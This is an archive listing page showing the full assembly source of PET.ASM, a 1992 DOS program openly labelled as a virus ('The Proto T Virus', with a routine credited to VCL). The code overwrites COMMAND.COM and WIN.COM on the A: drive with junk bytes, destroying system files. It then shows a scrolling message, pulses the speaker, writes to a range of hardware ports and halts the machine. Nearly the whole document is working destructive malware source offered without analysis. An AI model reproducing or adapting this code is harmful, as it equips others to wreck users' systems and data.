home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
P.ZIP
/
PET.ZIP
/
PET.ASM
next >
Wrap
Assembly Source File
|
1992-11-20
|
9KB
|
243 lines
.model tiny
.code
org 100h ;Where we start
over: jmp infect ;Go straight to the
;drop routine and do it
activate proc far
start: mov ah,0h ;Set the Video Mode
mov al,12h ;640x480 16 colors
int 10h ;do it!
jmp loc_1
data_1 db 4
data_2 dw 0
db 62h, 79h
copyright db ' -=≡IO≡=- '
db '(C) -= ARCV =- '
data_5 db ' Join.... Virus ...Anon.'
db ' .*.*.*. '
db 'The Proto · T Virus'
db ' '
db ' $'
loc_1:
push si ;<G> Even from the command line
push di ;we're funny!
mov si,80h ;stick it in, just in case
cld ; Clear direction
call sub_1
cmp byte ptr [si],0Dh
je loc_4 ; Jump if equal
mov cx,28h
lea di,data_5 ; ('Attention: Please press ') Load ef
locloop_2:
lodsb ; String [si] to al
cmp al,0Dh
je loc_3 ; Jump if equal
stosb ; Store al to es:[di]
loop locloop_2 ; Loop if cx > 0
loc_3:
inc cx
mov al,2Eh ; '.'
rep stosb ; Rep when cx >0 Store al to es:[di]
loc_4:
pop di
pop si
mov dx,si
mov cx,di
mov data_2,cx
loc_5:
mov data_1,0FFh
loc_6:
add data_1,1
mov bl,data_1
mov cx,80
call sub_2
locloop_7:
mov al,byte ptr copyright+20h[bx] ; ('.')
mov ah,0eh
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
inc bx
call sub_3
mov dl,0FFh
mov ah,6
int 21h ; DOS Services ah=function 06h
; special char i/o, dl=subfunc
jnz loc_10 ; Jump if not zero
loop locloop_7 ; Loop if cx > 0
cmp byte ptr copyright+20h[bx],24h ; ('.') '$'
je loc_5 ; Jump if equal
jmp short loc_6
activate endp
sub_1 proc near
loc_8:
inc si
cmp byte ptr [si],20h ; ' '
je loc_8 ; Jump if equal
retn
sub_1 endp
sub_2 proc near
NOP
NOP
push ax
push bx
push cx
push dx
NOP
NOP
mov dx,si
mov cx,di
inc bh
mov ah,0Bh
int 10h ; Video display ah=functn 0Bh
mov ah,10h
mov al,0
mov bl,1
mov bh,10
int 10h ; Video display ah=functn 0Eh
NOP
NOP
pop dx
pop cx
pop bx
pop ax
NOP
NOP
retn
sub_2 endp
sub_3 proc near
push cx
mov cx,100h
locloop_9:
loop locloop_9 ; Loop if cx > 0
pop cx
retn
sub_3 endp
loc_10:
call sub_2
mov cx,4Fh
locloop_11:
mov al,20h ; ' '
mov ah,0Eh
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
loop locloop_11 ; Loop if cx > 0
mov ah,13
mov cx,data_2
int 10h ; Video display ah=functn 01h
call bang_bang ; Let's make some noise now!
int 20h
infect: NOP
NOP
mov dx,offset file1_name ; ready the file to do #1
xor cx,cx ; zero registers
mov ax,3c02h ; create file w/ read-write
int 21h ; do it!
xchg ax,bx
mov ah,40h ; 40 hex write to file
mov cx,38 ; we're 38 bytes long
mov dx,offset data1_file ; and these are the 38 bytes
int 21h ; do it
mov ah,3eh ; close the file
int 21h ; do it
mov dx,offset file2_name ; ready the file to do #2
xor cx,cx ; zero registers
mov ax,3c02h ; create file w/ read-write
int 21h ; do it!
xchg ax,bx
mov ah,40h ; 40 hex write to file
mov cx,38 ; we're 38 bytes long
mov dx,offset data2_file ; and these are the 38 bytes
int 21h ; do it
mov ah,3eh ; close the file
int 21h ; do it
mov dx,offset file3_name ; ready the file to do #2
xor cx,cx ; zero registers
mov ax,3c02h ; create file w/ read-write
int 21h ; do it!
xchg ax,bx
mov ah,40h ; 40 hex write to file
mov cx,38 ; we're 38 bytes long
mov dx,offset data3_file ; and these are the 38 bytes
int 21h ; do it
mov ah,3eh ; close the file
int 21h ; do it
jmp activate ; now let's run the pretty stuff
data1_file db '░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&·⌠',0 ; Better look
file1_name db 'A:\command.com',0 ; at this under
data2_file db '░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&·⌠',0 ; the DeBugger
file2_name db 'A:\dos\command.com',0 ; to see what it
data3_file db '░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&·⌠',0 ; does!!!
file3_name db 'A:\windows\win.com',0
;*************************************************************************
;
; The following segment comes from a VCL routine. Credit Due and Given!
;
;*************************************************************************
bang_bang proc near
mov cx,0025h ; First argument is 5
new_shot: push cx ; Save the current count
mov dx,0140h ; DX holds pitch
mov bx,0100h ; BX holds shot duration
in al,061h ; Read the speaker port
and al,11111100b ; Turn off the speaker bit
fire_shot: xor al,2 ; Toggle the speaker bit
out 061h,al ; Write AL to speaker port
add dx,09248h ;
mov cl,3 ;
ror dx,cl ; Figure out the delay time
mov cx,dx ;
and cx,01FFh ;
or cx,10 ;
shoot_pause: loop shoot_pause ; Delay a bit
dec bx ; Are we done with the shot?
jnz fire_shot ; If not, pulse the speaker
and al,11111100b ; Turn off the speaker bit
out 061h,al ; Write AL to speaker port
mov bx,0002h ; BX holds delay time (ticks)
xor ah,ah ; Get time function
int 1Ah ; BIOS timer interrupt
add bx,dx ; Add current time to delay
shoot_delay: int 1Ah ; Get the time again
cmp dx,bx ; Are we done yet?
jne shoot_delay ; If not, keep checking
pop cx ; Restore the count
loop new_shot ; Do another shot
xor ah,ah ; BIOS get time function
int 1Ah
xchg dx,ax ; AX holds low word of timer
mov dx,0FFh ; Start with port 255
out_loop: out dx,al ; OUT a value to the port
dec dx ; Do the next port
jne out_loop ; Repeat until DX = 0
cli ; Clear the interrupt flag
hlt ; HaLT the computer
jmp short $ ; Just to make sure
endp bang_bang
end over ; <SIGH> We're Done!